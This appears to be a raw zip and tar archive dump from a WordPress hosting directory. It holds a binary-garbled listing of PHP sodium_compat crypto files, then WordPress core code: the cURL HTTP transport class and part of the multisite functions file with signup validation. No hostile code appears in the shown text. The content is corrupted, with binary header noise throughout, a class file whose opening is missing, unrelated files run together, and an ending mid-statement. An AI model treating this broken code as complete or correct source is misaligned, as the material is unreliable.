!'%src/Core/Curve25519/Ge/Cached.phpnu[PK*L[K1%src/Core/Curve25519/Ge/P2.phpnu[PK*L[珉8%src/Core/Curve25519/README.mdnu[PK*L[}ڢTyy9%src/Core/Curve25519/H.phpnu[PK*L[Ťhh~&src/Core/Curve25519/error_lognu[PK*L[LW333&src/Core/Base64/UrlSafe.phpnu[PK*L[$T--'src/Core/Base64/Original.phpnu[PK*L[]iu) ) *-'src/Core/SipHash.phpnu[PK*L[I22M'src/Core/ChaCha20.phpnu[PK*L[ &-&-b'src/Core/Curve25519.phpnu[PK+L[umLDLDϭ)src/Core/Ed25519.phpnu[PK+L[8ĤYY_)src/Core/AES/KeySchedule.phpnu[PK+L[00)src/Core/AES/Expanded.phpnu[PK+L[rS((})src/Core/AES/Block.phpnu[PK+L[Qץ$*src/Core/AES/error_lognu[PK+L[=P+*src/Core/HChaCha20.phpnu[PK+L["((:*src/Core/SecretStream/State.phpnu[PK+L[Ӂ&&fI*src/Core/Poly1305.phpnu[PK+L[.jjO*src/Core/error_lognu[PK+L[f( > >*src/Core/AES.phpnu[PK+L[=/yy*src/Core32/Int64.phpnu[PK+L[F&bccr+src/Core32/XSalsa20.phpnu[PK+L[X]>]>x+src/Core32/Poly1305/State.phpnu[PK+L[&tD+src/Core32/Poly1305/error_lognu[PK+L[@(,,,+src/Core32/Salsa20.phpnu[PK,L[]D +src/Core32/XChaCha20.phpnu[PK,L[x)'+src/Core32/HSalsa20.phpnu[PK,L[ڨ~T ,src/Core32/Util.phpnu[PK,L[["+"+,src/Core32/X25519.phpnu[PK,L[```F,src/Core32/Int32.phpnu[PK,L[Φ,src/Core32/ChaCha20/IetfCtx.phpnu[PK,L[Xv((,src/Core32/ChaCha20/Ctx.phpnu[PK,L[Erddo,src/Core32/ChaCha20/error_lognu[PK,L[6(4W4W ,src/Core32/BLAKE2b.phpnu[PK,L[՗ilzz5-src/Core32/Curve25519/Fe.phpnu[PK,L[% $`K-src/Core32/Curve25519/Ge/Precomp.phpnu[PK,L[~g!Q-src/Core32/Curve25519/Ge/P1p1.phpnu[PK,L[6VVX-src/Core32/Curve25519/Ge/P3.phpnu[PK,L[}M  #_-src/Core32/Curve25519/Ge/Cached.phpnu[PK,L[Íۤaa7g-src/Core32/Curve25519/Ge/P2.phpnu[PK,L[珉l-src/Core32/Curve25519/README.mdnu[PK,L[n-src/Core32/Curve25519/H.phpnu[PK,L[ѨX/src/Core32/Curve25519/error_lognu[PK-L[[(O'/src/Core32/SipHash.phpnu[PK-L[~ɯ88jA/src/Core32/ChaCha20.phpnu[PK-L[LTnn`z/src/Core32/Curve25519.phpnu[PK-L[Hw=w=1src/Core32/Ed25519.phpnu[PK-L[21Կ1src/Core32/HChaCha20.phpnu[PK-L[xHH!1src/Core32/SecretStream/State.phpnu[PK-L[w`22f1src/Core32/Poly1305.phpnu[PK-L[4A1src/Core32/error_lognu[PK-L[ӈOO2src/Crypto32.phpnu[PK-L[ #<< @3src/error_lognu[PK-L[4mzz3autoload-php7.phpnu[PK.L[- - t3autoload.phpnu[PK.L[ HH ݣ3composer.jsonnu[PKj#[ %̞$b3ova/php72compat_const.php.php.tar.gznu[PKl#[I==T3ova/Base64.zipnu[PKm#[V$3ova/php84compat_const.php.php.tar.gznu[PKm#[Zf3ova/XChaCha20.php.php.tar.gznu[PKm#[T3ova/php72compat_const.php.tarnu[PKp#[]'/ / 4ova/AES.tar.gznu[PKq#[x4ova/HChaCha20.php.php.tar.gznu[PKr#['@:::: :4ova/AES.zipnu[PKs#["pP4ova/php84compat_const.php.tarnu[PKs#[?@$X4ova/HChaCha20.php.tarnu[PKt#[Ao4ova/php72compat.php.php.tar.gznu[PKt#[IB4ova/php72compat.php.tarnu[PKt#[GA5ova/php84compat.php.tarnu[PKu#[)_11W5ova/php84compat.php.php.tar.gznu[PKv#[<O[5ova/XChaCha20.php.tarnu[PKw#[y0@@ o5ova/AES.tarnu[PKCϯ5PK $[Uclass-http.php.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/class-http.php000064400000000557150547775550017762 0ustar00 'GET', 'timeout' => 5, 'redirection' => 5, 'httpversion' => '1.0', 'blocking' => true, 'headers' => array(), 'body' => null, 'cookies' => array(), 'decompress' => false, 'stream' => false, 'filename' => null, ); $parsed_args = wp_parse_args( $args, $defaults ); if ( isset( $parsed_args['headers']['User-Agent'] ) ) { $parsed_args['user-agent'] = $parsed_args['headers']['User-Agent']; unset( $parsed_args['headers']['User-Agent'] ); } elseif ( isset( $parsed_args['headers']['user-agent'] ) ) { $parsed_args['user-agent'] = $parsed_args['headers']['user-agent']; unset( $parsed_args['headers']['user-agent'] ); } // Construct Cookie: header if any cookies are set. WP_Http::buildCookieHeader( $parsed_args ); $handle = curl_init(); // cURL offers really easy proxy support. $proxy = new WP_HTTP_Proxy(); if ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) ) { curl_setopt( $handle, CURLOPT_PROXYTYPE, CURLPROXY_HTTP ); curl_setopt( $handle, CURLOPT_PROXY, $proxy->host() ); curl_setopt( $handle, CURLOPT_PROXYPORT, $proxy->port() ); if ( $proxy->use_authentication() ) { curl_setopt( $handle, CURLOPT_PROXYAUTH, CURLAUTH_ANY ); curl_setopt( $handle, CURLOPT_PROXYUSERPWD, $proxy->authentication() ); } } $is_local = isset( $parsed_args['local'] ) && $parsed_args['local']; $ssl_verify = isset( $parsed_args['sslverify'] ) && $parsed_args['sslverify']; if ( $is_local ) { /** This filter is documented in wp-includes/class-wp-http-streams.php */ $ssl_verify = apply_filters( 'https_local_ssl_verify', $ssl_verify, $url ); } elseif ( ! $is_local ) { /** This filter is documented in wp-includes/class-wp-http.php */ $ssl_verify = apply_filters( 'https_ssl_verify', $ssl_verify, $url ); } /* * CURLOPT_TIMEOUT and CURLOPT_CONNECTTIMEOUT expect integers. Have to use ceil since. * a value of 0 will allow an unlimited timeout. */ $timeout = (int) ceil( $parsed_args['timeout'] ); curl_setopt( $handle, CURLOPT_CONNECTTIMEOUT, $timeout ); curl_setopt( $handle, CURLOPT_TIMEOUT, $timeout ); curl_setopt( $handle, CURLOPT_URL, $url ); curl_setopt( $handle, CURLOPT_RETURNTRANSFER, true ); curl_setopt( $handle, CURLOPT_SSL_VERIFYHOST, ( true === $ssl_verify ) ? 2 : false ); curl_setopt( $handle, CURLOPT_SSL_VERIFYPEER, $ssl_verify ); if ( $ssl_verify ) { curl_setopt( $handle, CURLOPT_CAINFO, $parsed_args['sslcertificates'] ); } curl_setopt( $handle, CURLOPT_USERAGENT, $parsed_args['user-agent'] ); /* * The option doesn't work with safe mode or when open_basedir is set, and there's * a bug #17490 with redirected POST requests, so handle redirections outside Curl. */ curl_setopt( $handle, CURLOPT_FOLLOWLOCATION, false ); curl_setopt( $handle, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS ); switch ( $parsed_args['method'] ) { case 'HEAD': curl_setopt( $handle, CURLOPT_NOBODY, true ); break; case 'POST': curl_setopt( $handle, CURLOPT_POST, true ); curl_setopt( $handle, CURLOPT_POSTFIELDS, $parsed_args['body'] ); break; case 'PUT': curl_setopt( $handle, CURLOPT_CUSTOMREQUEST, 'PUT' ); curl_setopt( $handle, CURLOPT_POSTFIELDS, $parsed_args['body'] ); break; default: curl_setopt( $handle, CURLOPT_CUSTOMREQUEST, $parsed_args['method'] ); if ( ! is_null( $parsed_args['body'] ) ) { curl_setopt( $handle, CURLOPT_POSTFIELDS, $parsed_args['body'] ); } break; } if ( true === $parsed_args['blocking'] ) { curl_setopt( $handle, CURLOPT_HEADERFUNCTION, array( $this, 'stream_headers' ) ); curl_setopt( $handle, CURLOPT_WRITEFUNCTION, array( $this, 'stream_body' ) ); } curl_setopt( $handle, CURLOPT_HEADER, false ); if ( isset( $parsed_args['limit_response_size'] ) ) { $this->max_body_length = (int) $parsed_args['limit_response_size']; } else { $this->max_body_length = false; } // If streaming to a file open a file handle, and setup our curl streaming handler. if ( $parsed_args['stream'] ) { if ( ! WP_DEBUG ) { $this->stream_handle = @fopen( $parsed_args['filename'], 'w+' ); } else { $this->stream_handle = fopen( $parsed_args['filename'], 'w+' ); } if ( ! $this->stream_handle ) { return new WP_Error( 'http_request_failed', sprintf( /* translators: 1: fopen(), 2: File name. */ __( 'Could not open handle for %1$s to %2$s.' ), 'fopen()', $parsed_args['filename'] ) ); } } else { $this->stream_handle = false; } if ( ! empty( $parsed_args['headers'] ) ) { // cURL expects full header strings in each element. $headers = array(); foreach ( $parsed_args['headers'] as $name => $value ) { $headers[] = "{$name}: $value"; } curl_setopt( $handle, CURLOPT_HTTPHEADER, $headers ); } if ( '1.0' === $parsed_args['httpversion'] ) { curl_setopt( $handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0 ); } else { curl_setopt( $handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1 ); } /** * Fires before the cURL request is executed. * * Cookies are not currently handled by the HTTP API. This action allows * plugins to handle cookies themselves. * * @since 2.8.0 * * @param resource $handle The cURL handle returned by curl_init() (passed by reference). * @param array $parsed_args The HTTP request arguments. * @param string $url The request URL. */ do_action_ref_array( 'http_api_curl', array( &$handle, $parsed_args, $url ) ); // We don't need to return the body, so don't. Just execute request and return. if ( ! $parsed_args['blocking'] ) { curl_exec( $handle ); $curl_error = curl_error( $handle ); if ( $curl_error ) { curl_close( $handle ); return new WP_Error( 'http_request_failed', $curl_error ); } if ( in_array( curl_getinfo( $handle, CURLINFO_HTTP_CODE ), array( 301, 302 ), true ) ) { curl_close( $handle ); return new WP_Error( 'http_request_failed', __( 'Too many redirects.' ) ); } curl_close( $handle ); return array( 'headers' => array(), 'body' => '', 'response' => array( 'code' => false, 'message' => false, ), 'cookies' => array(), ); } curl_exec( $handle ); $processed_headers = WP_Http::processHeaders( $this->headers, $url ); $body = $this->body; $bytes_written_total = $this->bytes_written_total; $this->headers = ''; $this->body = ''; $this->bytes_written_total = 0; $curl_error = curl_errno( $handle ); // If an error occurred, or, no response. if ( $curl_error || ( 0 === strlen( $body ) && empty( $processed_headers['headers'] ) ) ) { if ( CURLE_WRITE_ERROR /* 23 */ === $curl_error ) { if ( ! $this->max_body_length || $this->max_body_length !== $bytes_written_total ) { if ( $parsed_args['stream'] ) { curl_close( $handle ); fclose( $this->stream_handle ); return new WP_Error( 'http_request_failed', __( 'Failed to write request to temporary file.' ) ); } else { curl_close( $handle ); return new WP_Error( 'http_request_failed', curl_error( $handle ) ); } } } else { $curl_error = curl_error( $handle ); if ( $curl_error ) { curl_close( $handle ); return new WP_Error( 'http_request_failed', $curl_error ); } } if ( in_array( curl_getinfo( $handle, CURLINFO_HTTP_CODE ), array( 301, 302 ), true ) ) { curl_close( $handle ); return new WP_Error( 'http_request_failed', __( 'Too many redirects.' ) ); } } curl_close( $handle ); if ( $parsed_args['stream'] ) { fclose( $this->stream_handle ); } $response = array( 'headers' => $processed_headers['headers'], 'body' => null, 'response' => $processed_headers['response'], 'cookies' => $processed_headers['cookies'], 'filename' => $parsed_args['filename'], ); // Handle redirects. $redirect_response = WP_Http::handle_redirects( $url, $parsed_args, $response ); if ( false !== $redirect_response ) { return $redirect_response; } if ( true === $parsed_args['decompress'] && true === WP_Http_Encoding::should_decode( $processed_headers['headers'] ) ) { $body = WP_Http_Encoding::decompress( $body ); } $response['body'] = $body; return $response; } /** * Grabs the headers of the cURL request. * * Each header is sent individually to this callback, and is appended to the `$header` property * for temporary storage. * * @since 3.2.0 * * @param resource $handle cURL handle. * @param string $headers cURL request headers. * @return int Length of the request headers. */ private function stream_headers( $handle, $headers ) { $this->headers .= $headers; return strlen( $headers ); } /** * Grabs the body of the cURL request. * * The contents of the document are passed in chunks, and are appended to the `$body` * property for temporary storage. Returning a length shorter than the length of * `$data` passed in will cause cURL to abort the request with `CURLE_WRITE_ERROR`. * * @since 3.6.0 * * @param resource $handle cURL handle. * @param string $data cURL request body. * @return int Total bytes of data written. */ private function stream_body( $handle, $data ) { $data_length = strlen( $data ); if ( $this->max_body_length && ( $this->bytes_written_total + $data_length ) > $this->max_body_length ) { $data_length = ( $this->max_body_length - $this->bytes_written_total ); $data = substr( $data, 0, $data_length ); } if ( $this->stream_handle ) { $bytes_written = fwrite( $this->stream_handle, $data ); } else { $this->body .= $data; $bytes_written = $data_length; } $this->bytes_written_total += $bytes_written; // Upon event of this function returning less than strlen( $data ) curl will error with CURLE_WRITE_ERROR. return $bytes_written; } /** * Determines whether this class can be used for retrieving a URL. * * @since 2.7.0 * * @param array $args Optional. Array of request arguments. Default empty array. * @return bool False means this class can not be used, true means it can. */ public static function test( $args = array() ) { if ( ! function_exists( 'curl_init' ) || ! function_exists( 'curl_exec' ) ) { return false; } $is_ssl = isset( $args['ssl'] ) && $args['ssl']; if ( $is_ssl ) { $curl_version = curl_version(); // Check whether this cURL version support SSL requests. if ( ! ( CURL_VERSION_SSL & $curl_version['features'] ) ) { return false; } } /** * Filters whether cURL can be used as a transport for retrieving a URL. * * @since 2.7.0 * * @param bool $use_class Whether the class can be used. Default true. * @param array $args An array of request arguments. */ return apply_filters( 'use_curl_transport', true, $args ); } } PK $[@ llms-functions.php.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/ms-functions.php000064400000262676150547665160020334 0ustar00 get_blog_count(), 'users' => get_user_count(), ); return $stats; } /** * Gets one of a user's active blogs. * * Returns the user's primary blog, if they have one and * it is active. If it's inactive, function returns another * active blog of the user. If none are found, the user * is added as a Subscriber to the Dashboard Blog and that blog * is returned. * * @since MU (3.0.0) * * @param int $user_id The unique ID of the user * @return WP_Site|void The blog object */ function get_active_blog_for_user( $user_id ) { $blogs = get_blogs_of_user( $user_id ); if ( empty( $blogs ) ) { return; } if ( ! is_multisite() ) { return $blogs[ get_current_blog_id() ]; } $primary_blog = get_user_meta( $user_id, 'primary_blog', true ); $first_blog = current( $blogs ); if ( false !== $primary_blog ) { if ( ! isset( $blogs[ $primary_blog ] ) ) { update_user_meta( $user_id, 'primary_blog', $first_blog->userblog_id ); $primary = get_site( $first_blog->userblog_id ); } else { $primary = get_site( $primary_blog ); } } else { // TODO: Review this call to add_user_to_blog too - to get here the user must have a role on this blog? $result = add_user_to_blog( $first_blog->userblog_id, $user_id, 'subscriber' ); if ( ! is_wp_error( $result ) ) { update_user_meta( $user_id, 'primary_blog', $first_blog->userblog_id ); $primary = $first_blog; } } if ( ( ! is_object( $primary ) ) || ( '1' === $primary->archived || '1' === $primary->spam || '1' === $primary->deleted ) ) { $blogs = get_blogs_of_user( $user_id, true ); // If a user's primary blog is shut down, check their other blogs. $ret = false; if ( is_array( $blogs ) && count( $blogs ) > 0 ) { $current_network_id = get_current_network_id(); foreach ( (array) $blogs as $blog_id => $blog ) { if ( $blog->site_id !== $current_network_id ) { continue; } $details = get_site( $blog_id ); if ( is_object( $details ) && '0' === $details->archived && '0' === $details->spam && '0' === $details->deleted ) { $ret = $details; if ( (int) get_user_meta( $user_id, 'primary_blog', true ) !== $blog_id ) { update_user_meta( $user_id, 'primary_blog', $blog_id ); } if ( ! get_user_meta( $user_id, 'source_domain', true ) ) { update_user_meta( $user_id, 'source_domain', $details->domain ); } break; } } } else { return; } return $ret; } else { return $primary; } } /** * Gets the number of active sites on the installation. * * The count is cached and updated twice daily. This is not a live count. * * @since MU (3.0.0) * @since 3.7.0 The `$network_id` parameter has been deprecated. * @since 4.8.0 The `$network_id` parameter is now being used. * * @param int|null $network_id ID of the network. Default is the current network. * @return int Number of active sites on the network. */ function get_blog_count( $network_id = null ) { return get_network_option( $network_id, 'blog_count' ); } /** * Gets a blog post from any site on the network. * * This function is similar to get_post(), except that it can retrieve a post * from any site on the network, not just the current site. * * @since MU (3.0.0) * * @param int $blog_id ID of the blog. * @param int $post_id ID of the post being looked for. * @return WP_Post|null WP_Post object on success, null on failure */ function get_blog_post( $blog_id, $post_id ) { switch_to_blog( $blog_id ); $post = get_post( $post_id ); restore_current_blog(); return $post; } /** * Adds a user to a blog, along with specifying the user's role. * * Use the {@see 'add_user_to_blog'} action to fire an event when users are added to a blog. * * @since MU (3.0.0) * * @param int $blog_id ID of the blog the user is being added to. * @param int $user_id ID of the user being added. * @param string $role User role. * @return true|WP_Error True on success or a WP_Error object if the user doesn't exist * or could not be added. */ function add_user_to_blog( $blog_id, $user_id, $role ) { switch_to_blog( $blog_id ); $user = get_userdata( $user_id ); if ( ! $user ) { restore_current_blog(); return new WP_Error( 'user_does_not_exist', __( 'The requested user does not exist.' ) ); } /** * Filters whether a user should be added to a site. * * @since 4.9.0 * * @param true|WP_Error $retval True if the user should be added to the site, error * object otherwise. * @param int $user_id User ID. * @param string $role User role. * @param int $blog_id Site ID. */ $can_add_user = apply_filters( 'can_add_user_to_blog', true, $user_id, $role, $blog_id ); if ( true !== $can_add_user ) { restore_current_blog(); if ( is_wp_error( $can_add_user ) ) { return $can_add_user; } return new WP_Error( 'user_cannot_be_added', __( 'User cannot be added to this site.' ) ); } if ( ! get_user_meta( $user_id, 'primary_blog', true ) ) { update_user_meta( $user_id, 'primary_blog', $blog_id ); $site = get_site( $blog_id ); update_user_meta( $user_id, 'source_domain', $site->domain ); } $user->set_role( $role ); /** * Fires immediately after a user is added to a site. * * @since MU (3.0.0) * * @param int $user_id User ID. * @param string $role User role. * @param int $blog_id Blog ID. */ do_action( 'add_user_to_blog', $user_id, $role, $blog_id ); clean_user_cache( $user_id ); wp_cache_delete( $blog_id . '_user_count', 'blog-details' ); restore_current_blog(); return true; } /** * Removes a user from a blog. * * Use the {@see 'remove_user_from_blog'} action to fire an event when * users are removed from a blog. * * Accepts an optional `$reassign` parameter, if you want to * reassign the user's blog posts to another user upon removal. * * @since MU (3.0.0) * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $user_id ID of the user being removed. * @param int $blog_id Optional. ID of the blog the user is being removed from. Default 0. * @param int $reassign Optional. ID of the user to whom to reassign posts. Default 0. * @return true|WP_Error True on success or a WP_Error object if the user doesn't exist. */ function remove_user_from_blog( $user_id, $blog_id = 0, $reassign = 0 ) { global $wpdb; $user_id = (int) $user_id; $blog_id = (int) $blog_id; switch_to_blog( $blog_id ); /** * Fires before a user is removed from a site. * * @since MU (3.0.0) * @since 5.4.0 Added the `$reassign` parameter. * * @param int $user_id ID of the user being removed. * @param int $blog_id ID of the blog the user is being removed from. * @param int $reassign ID of the user to whom to reassign posts. */ do_action( 'remove_user_from_blog', $user_id, $blog_id, $reassign ); /* * If being removed from the primary blog, set a new primary * if the user is assigned to multiple blogs. */ $primary_blog = (int) get_user_meta( $user_id, 'primary_blog', true ); if ( $primary_blog === $blog_id ) { $new_id = ''; $new_domain = ''; $blogs = get_blogs_of_user( $user_id ); foreach ( (array) $blogs as $blog ) { if ( $blog->userblog_id === $blog_id ) { continue; } $new_id = $blog->userblog_id; $new_domain = $blog->domain; break; } update_user_meta( $user_id, 'primary_blog', $new_id ); update_user_meta( $user_id, 'source_domain', $new_domain ); } $user = get_userdata( $user_id ); if ( ! $user ) { restore_current_blog(); return new WP_Error( 'user_does_not_exist', __( 'That user does not exist.' ) ); } $user->remove_all_caps(); $blogs = get_blogs_of_user( $user_id ); if ( count( $blogs ) === 0 ) { update_user_meta( $user_id, 'primary_blog', '' ); update_user_meta( $user_id, 'source_domain', '' ); } if ( $reassign ) { $reassign = (int) $reassign; $post_ids = $wpdb->get_col( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_author = %d", $user_id ) ); $link_ids = $wpdb->get_col( $wpdb->prepare( "SELECT link_id FROM $wpdb->links WHERE link_owner = %d", $user_id ) ); if ( ! empty( $post_ids ) ) { $wpdb->query( $wpdb->prepare( "UPDATE $wpdb->posts SET post_author = %d WHERE post_author = %d", $reassign, $user_id ) ); array_walk( $post_ids, 'clean_post_cache' ); } if ( ! empty( $link_ids ) ) { $wpdb->query( $wpdb->prepare( "UPDATE $wpdb->links SET link_owner = %d WHERE link_owner = %d", $reassign, $user_id ) ); array_walk( $link_ids, 'clean_bookmark_cache' ); } } clean_user_cache( $user_id ); restore_current_blog(); return true; } /** * Gets the permalink for a post on another blog. * * @since MU (3.0.0) 1.0 * * @param int $blog_id ID of the source blog. * @param int $post_id ID of the desired post. * @return string The post's permalink. */ function get_blog_permalink( $blog_id, $post_id ) { switch_to_blog( $blog_id ); $link = get_permalink( $post_id ); restore_current_blog(); return $link; } /** * Gets a blog's numeric ID from its URL. * * On a subdirectory installation like example.com/blog1/, * $domain will be the root 'example.com' and $path the * subdirectory '/blog1/'. With subdomains like blog1.example.com, * $domain is 'blog1.example.com' and $path is '/'. * * @since MU (3.0.0) * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $domain Website domain. * @param string $path Optional. Not required for subdomain installations. Default '/'. * @return int 0 if no blog found, otherwise the ID of the matching blog. */ function get_blog_id_from_url( $domain, $path = '/' ) { $domain = strtolower( $domain ); $path = strtolower( $path ); $id = wp_cache_get( md5( $domain . $path ), 'blog-id-cache' ); if ( -1 === $id ) { // Blog does not exist. return 0; } elseif ( $id ) { return (int) $id; } $args = array( 'domain' => $domain, 'path' => $path, 'fields' => 'ids', 'number' => 1, 'update_site_meta_cache' => false, ); $result = get_sites( $args ); $id = array_shift( $result ); if ( ! $id ) { wp_cache_set( md5( $domain . $path ), -1, 'blog-id-cache' ); return 0; } wp_cache_set( md5( $domain . $path ), $id, 'blog-id-cache' ); return $id; } // // Admin functions. // /** * Checks an email address against a list of banned domains. * * This function checks against the Banned Email Domains list * at wp-admin/network/settings.php. The check is only run on * self-registrations; user creation at wp-admin/network/users.php * bypasses this check. * * @since MU (3.0.0) * * @param string $user_email The email provided by the user at registration. * @return bool True when the email address is banned, false otherwise. */ function is_email_address_unsafe( $user_email ) { $banned_names = get_site_option( 'banned_email_domains' ); if ( $banned_names && ! is_array( $banned_names ) ) { $banned_names = explode( "\n", $banned_names ); } $is_email_address_unsafe = false; if ( $banned_names && is_array( $banned_names ) && false !== strpos( $user_email, '@', 1 ) ) { $banned_names = array_map( 'strtolower', $banned_names ); $normalized_email = strtolower( $user_email ); list( $email_local_part, $email_domain ) = explode( '@', $normalized_email ); foreach ( $banned_names as $banned_domain ) { if ( ! $banned_domain ) { continue; } if ( $email_domain === $banned_domain ) { $is_email_address_unsafe = true; break; } if ( str_ends_with( $normalized_email, ".$banned_domain" ) ) { $is_email_address_unsafe = true; break; } } } /** * Filters whether an email address is unsafe. * * @since 3.5.0 * * @param bool $is_email_address_unsafe Whether the email address is "unsafe". Default false. * @param string $user_email User email address. */ return apply_filters( 'is_email_address_unsafe', $is_email_address_unsafe, $user_email ); } /** * Sanitizes and validates data required for a user sign-up. * * Verifies the validity and uniqueness of user names and user email addresses, * and checks email addresses against allowed and disallowed domains provided by * administrators. * * The {@see 'wpmu_validate_user_signup'} hook provides an easy way to modify the sign-up * process. The value $result, which is passed to the hook, contains both the user-provided * info and the error messages created by the function. {@see 'wpmu_validate_user_signup'} * allows you to process the data in any way you'd like, and unset the relevant errors if * necessary. * * @since MU (3.0.0) * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $user_name The login name provided by the user. * @param string $user_email The email provided by the user. * @return array { * The array of user name, email, and the error messages. * * @type string $user_name Sanitized and unique username. * @type string $orig_username Original username. * @type string $user_email User email address. * @type WP_Error $errors WP_Error object containing any errors found. * } */ function wpmu_validate_user_signup( $user_name, $user_email ) { global $wpdb; $errors = new WP_Error(); $orig_username = $user_name; $user_name = preg_replace( '/\s+/', '', sanitize_user( $user_name, true ) ); if ( $user_name !== $orig_username || preg_match( '/[^a-z0-9]/', $user_name ) ) { $errors->add( 'user_name', __( 'Usernames can only contain lowercase letters (a-z) and numbers.' ) ); $user_name = $orig_username; } $user_email = sanitize_email( $user_email ); if ( empty( $user_name ) ) { $errors->add( 'user_name', __( 'Please enter a username.' ) ); } $illegal_names = get_site_option( 'illegal_names' ); if ( ! is_array( $illegal_names ) ) { $illegal_names = array( 'www', 'web', 'root', 'admin', 'main', 'invite', 'administrator' ); add_site_option( 'illegal_names', $illegal_names ); } if ( in_array( $user_name, $illegal_names, true ) ) { $errors->add( 'user_name', __( 'Sorry, that username is not allowed.' ) ); } /** This filter is documented in wp-includes/user.php */ $illegal_logins = (array) apply_filters( 'illegal_user_logins', array() ); if ( in_array( strtolower( $user_name ), array_map( 'strtolower', $illegal_logins ), true ) ) { $errors->add( 'user_name', __( 'Sorry, that username is not allowed.' ) ); } if ( ! is_email( $user_email ) ) { $errors->add( 'user_email', __( 'Please enter a valid email address.' ) ); } elseif ( is_email_address_unsafe( $user_email ) ) { $errors->add( 'user_email', __( 'You cannot use that email address to signup. There are problems with them blocking some emails from WordPress. Please use another email provider.' ) ); } if ( strlen( $user_name ) < 4 ) { $errors->add( 'user_name', __( 'Username must be at least 4 characters.' ) ); } if ( strlen( $user_name ) > 60 ) { $errors->add( 'user_name', __( 'Username may not be longer than 60 characters.' ) ); } // All numeric? if ( preg_match( '/^[0-9]*$/', $user_name ) ) { $errors->add( 'user_name', __( 'Sorry, usernames must have letters too!' ) ); } $limited_email_domains = get_site_option( 'limited_email_domains' ); if ( is_array( $limited_email_domains ) && ! empty( $limited_email_domains ) ) { $limited_email_domains = array_map( 'strtolower', $limited_email_domains ); $email_domain = strtolower( substr( $user_email, 1 + strpos( $user_email, '@' ) ) ); if ( ! in_array( $email_domain, $limited_email_domains, true ) ) { $errors->add( 'user_email', __( 'Sorry, that email address is not allowed!' ) ); } } // Check if the username has been used already. if ( username_exists( $user_name ) ) { $errors->add( 'user_name', __( 'Sorry, that username already exists!' ) ); } // Check if the email address has been used already. if ( email_exists( $user_email ) ) { $errors->add( 'user_email', sprintf( /* translators: %s: Link to the login page. */ __( 'Error: This email address is already registered. Log in with this address or choose another one.' ), wp_login_url() ) ); } // Has someone already signed up for this username? $signup = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->signups WHERE user_login = %s", $user_name ) ); if ( $signup instanceof stdClass ) { $registered_at = mysql2date( 'U', $signup->registered ); $now = time(); $diff = $now - $registered_at; // If registered more than two days ago, cancel registration and let this signup go through. if ( $diff > 2 * DAY_IN_SECONDS ) { $wpdb->delete( $wpdb->signups, array( 'user_login' => $user_name ) ); } else { $errors->add( 'user_name', __( 'That username is currently reserved but may be available in a couple of days.' ) ); } } $signup = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->signups WHERE user_email = %s", $user_email ) ); if ( $signup instanceof stdClass ) { $diff = time() - mysql2date( 'U', $signup->registered ); // If registered more than two days ago, cancel registration and let this signup go through. if ( $diff > 2 * DAY_IN_SECONDS ) { $wpdb->delete( $wpdb->signups, array( 'user_email' => $user_email ) ); } else { $errors->add( 'user_email', __( 'That email address has already been used. Please check your inbox for an activation email. It will become available in a couple of days if you do nothing.' ) ); } } $result = array( 'user_name' => $user_name, 'orig_username' => $orig_username, 'user_email' => $user_email, 'errors' => $errors, ); /** * Filters the validated user registration details. * * This does not allow you to override the username or email of the user during * registration. The values are solely used for validation and error handling. * * @since MU (3.0.0) * * @param array $result { * The array of user name, email, and the error messages. * * @type string $user_name Sanitized and unique username. * @type string $orig_username Original username. * @type string $user_email User email address. * @type WP_Error $errors WP_Error object containing any errors found. * } */ return apply_filters( 'wpmu_validate_user_signup', $result ); } /** * Processes new site registrations. * * Checks the data provided by the user during blog signup. Verifies * the validity and uniqueness of blog paths and domains. * * This function prevents the current user from registering a new site * with a blogname equivalent to another user's login name. Passing the * $user parameter to the function, where $user is the other user, is * effectively an override of this limitation. * * Filter {@see 'wpmu_validate_blog_signup'} if you want to modify * the way that WordPress validates new site signups. * * @since MU (3.0.0) * * @global wpdb $wpdb WordPress database abstraction object. * @global string $domain * * @param string $blogname The site name provided by the user. Must be unique. * @param string $blog_title The site title provided by the user. * @param WP_User|string $user Optional. The user object to check against the new site name. * Default empty string. * @return array { * Array of domain, path, site name, site title, user and error messages. * * @type string $domain Domain for the site. * @type string $path Path for the site. Used in subdirectory installations. * @type string $blogname The unique site name (slug). * @type string $blog_title Blog title. * @type string|WP_User $user By default, an empty string. A user object if provided. * @type WP_Error $errors WP_Error containing any errors found. * } */ function wpmu_validate_blog_signup( $blogname, $blog_title, $user = '' ) { global $wpdb, $domain; $current_network = get_network(); $base = $current_network->path; $blog_title = strip_tags( $blog_title ); $errors = new WP_Error(); $illegal_names = get_site_option( 'illegal_names' ); if ( ! is_array( $illegal_names ) ) { $illegal_names = array( 'www', 'web', 'root', 'admin', 'main', 'invite', 'administrator' ); add_site_option( 'illegal_names', $illegal_names ); } /* * On sub dir installations, some names are so illegal, only a filter can * spring them from jail. */ if ( ! is_subdomain_install() ) { $illegal_names = array_merge( $illegal_names, get_subdirectory_reserved_names() ); } if ( empty( $blogname ) ) { $errors->add( 'blogname', __( 'Please enter a site name.' ) ); } if ( preg_match( '/[^a-z0-9]+/', $blogname ) ) { $errors->add( 'blogname', __( 'Site names can only contain lowercase letters (a-z) and numbers.' ) ); } if ( in_array( $blogname, $illegal_names, true ) ) { $errors->add( 'blogname', __( 'That name is not allowed.' ) ); } /** * Filters the minimum site name length required when validating a site signup. * * @since 4.8.0 * * @param int $length The minimum site name length. Default 4. */ $minimum_site_name_length = apply_filters( 'minimum_site_name_length', 4 ); if ( strlen( $blogname ) < $minimum_site_name_length ) { /* translators: %s: Minimum site name length. */ $errors->add( 'blogname', sprintf( _n( 'Site name must be at least %s character.', 'Site name must be at least %s characters.', $minimum_site_name_length ), number_format_i18n( $minimum_site_name_length ) ) ); } // Do not allow users to create a site that conflicts with a page on the main blog. if ( ! is_subdomain_install() && $wpdb->get_var( $wpdb->prepare( 'SELECT post_name FROM ' . $wpdb->get_blog_prefix( $current_network->site_id ) . "posts WHERE post_type = 'page' AND post_name = %s", 